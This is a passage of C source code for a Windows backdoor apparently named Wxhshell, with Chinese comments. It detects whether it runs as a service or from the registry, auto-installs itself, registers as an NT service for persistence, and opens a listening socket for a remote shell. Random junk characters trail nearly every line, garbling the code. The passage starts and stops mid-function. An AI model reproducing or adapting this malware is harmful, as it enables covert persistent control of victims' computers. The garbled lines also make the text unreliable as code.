} PROCESS_BASIC_INFORMATION; dD Zds
k+!
HaUfTQ8
PROCNTQSIP NtQueryInformationProcess; ZM~kc|&
PU6Sa-fQ2,
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yl=_ /'*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UY!N"[&
5:o$]LkOWC
HANDLE hProcess; d? Old
PROCESS_BASIC_INFORMATION pbi; lhk[U!>#
.|pyloL.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S-8wL%r
if(NULL == hInst ) return 0; 2KUm(B.I
@DYxDap{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EPZ^I)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P9\!JH!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Kn)sD1
D]s8w
if (!NtQueryInformationProcess) return 0; x'.OLXx>
p..O;_U
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z DP
if(!hProcess) return 0; .)zX<~,
Wx i|(}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4K(AXk
z/,qQVv=}4
CloseHandle(hProcess); 7HpfHqJ7
=ca<..yh[d
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WI?iz-,](
if(hProcess==NULL) return 0; 7I,/uv?
F>0[v|LG
HMODULE hMod;
UA{tmIC\
char procName[255]; U%7| iK
unsigned long cbNeeded; ~_z"So'|F_
nJvDk h#h1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jf/X3\0N7
XM+o e0:[
CloseHandle(hProcess); I.M@we/bR}
t~luBUF
if(strstr(procName,"services")) return 1; // 以服务启动 %4%$NdU"
[^cflmV
return 0; // 注册表启动 4rmSo^vK
} Gl1Qbd0
7.r}98V
// 主模块 ]$StbBP
int StartWxhshell(LPSTR lpCmdLine) cPemrNxydN
{ ;}tEU'&
SOCKET wsl; *6-f vqCv
BOOL val=TRUE; Zewx*Y|
int port=0; wQ 7G_kVp
struct sockaddr_in door; J<
E"ZoY
oPX `/X#
if(wscfg.ws_autoins) Install(); ^st.bzg+[
3N'f Hy
port=atoi(lpCmdLine); 2f%G`4/p
j A 9!
if(port<=0) port=wscfg.ws_port; )]=1W
FAS+*GFz
WSADATA data; <h$Nh0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1;\A./FVv
a^vXwY
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b)SU8z!NV&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8fn7!
door.sin_family = AF_INET; PjH[8:,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); T[z]~MJL
door.sin_port = htons(port); ;>eD`Wh
Myl!tXawe8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6hE. i
x
closesocket(wsl); PP{CK4
return 1; DA/l`Pn
} ]8}+%P,Q
M*r/TT
if(listen(wsl,2) == INVALID_SOCKET) { QW5S=7
closesocket(wsl); t3#My2 =
return 1; \k#|[d5W
} woH B![Q,
Wxhshell(wsl); ,_JhvPWR,)
WSACleanup(); uN:|4/;{&
pzo9?/-
return 0; ndSM*Fq
SNV[KdvP*
} uB(16|W>S
o)X(;o
// 以NT服务方式启动 arCi$:-z@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !J5k?J&{=
{ X#qmwcF
DWORD status = 0; J3]W2m2Zw
DWORD specificError = 0xfffffff; 5}4f[
F/"Q0% (m
serviceStatus.dwServiceType = SERVICE_WIN32; "Ih>>|r
serviceStatus.dwCurrentState = SERVICE_START_PENDING; V)$y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NZJ:@J=-
serviceStatus.dwWin32ExitCode = 0; jm-J_o;}z6
serviceStatus.dwServiceSpecificExitCode = 0; hmA$gR_
serviceStatus.dwCheckPoint = 0; *H"IW0I
serviceStatus.dwWaitHint = 0; gaK m`#
@>wD`<U|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j|`6[93MG
if (hServiceStatusHandle==0) return; sHqs)@D
fpjy[$8
status = GetLastError(); #Ub"Ii
if (status!=NO_ERROR) 6m.ChlO/
{ "[PxLq5
serviceStatus.dwCurrentState = SERVICE_STOPPED; Zu4|1W
serviceStatus.dwCheckPoint = 0; L|y4u;-Q
serviceStatus.dwWaitHint = 0; F{:ZHCm
serviceStatus.dwWin32ExitCode = status; pjC2jlwm*
serviceStatus.dwServiceSpecificExitCode = specificError; b7
pD#v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X5@SLkJ-`
return; ^w0V{qF{
} 61Z#;2]
(M1HNIM;(
serviceStatus.dwCurrentState = SERVICE_RUNNING; O'6zV"<P
serviceStatus.dwCheckPoint = 0; p.r \|
serviceStatus.dwWaitHint = 0; Zz" b&`K
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7}r!&Eb
} ZP@or2No%
Q9(J$_:
// 处理NT服务事件,比如:启动、停止 Qz T>h
VOID WINAPI NTServiceHandler(DWORD fdwControl) $Hx00
h o
{ *%G$[=
switch(fdwControl) }(g`l)OX
{ 1g_(xwUp+
case SERVICE_CONTROL_STOP: 6sRe. ct<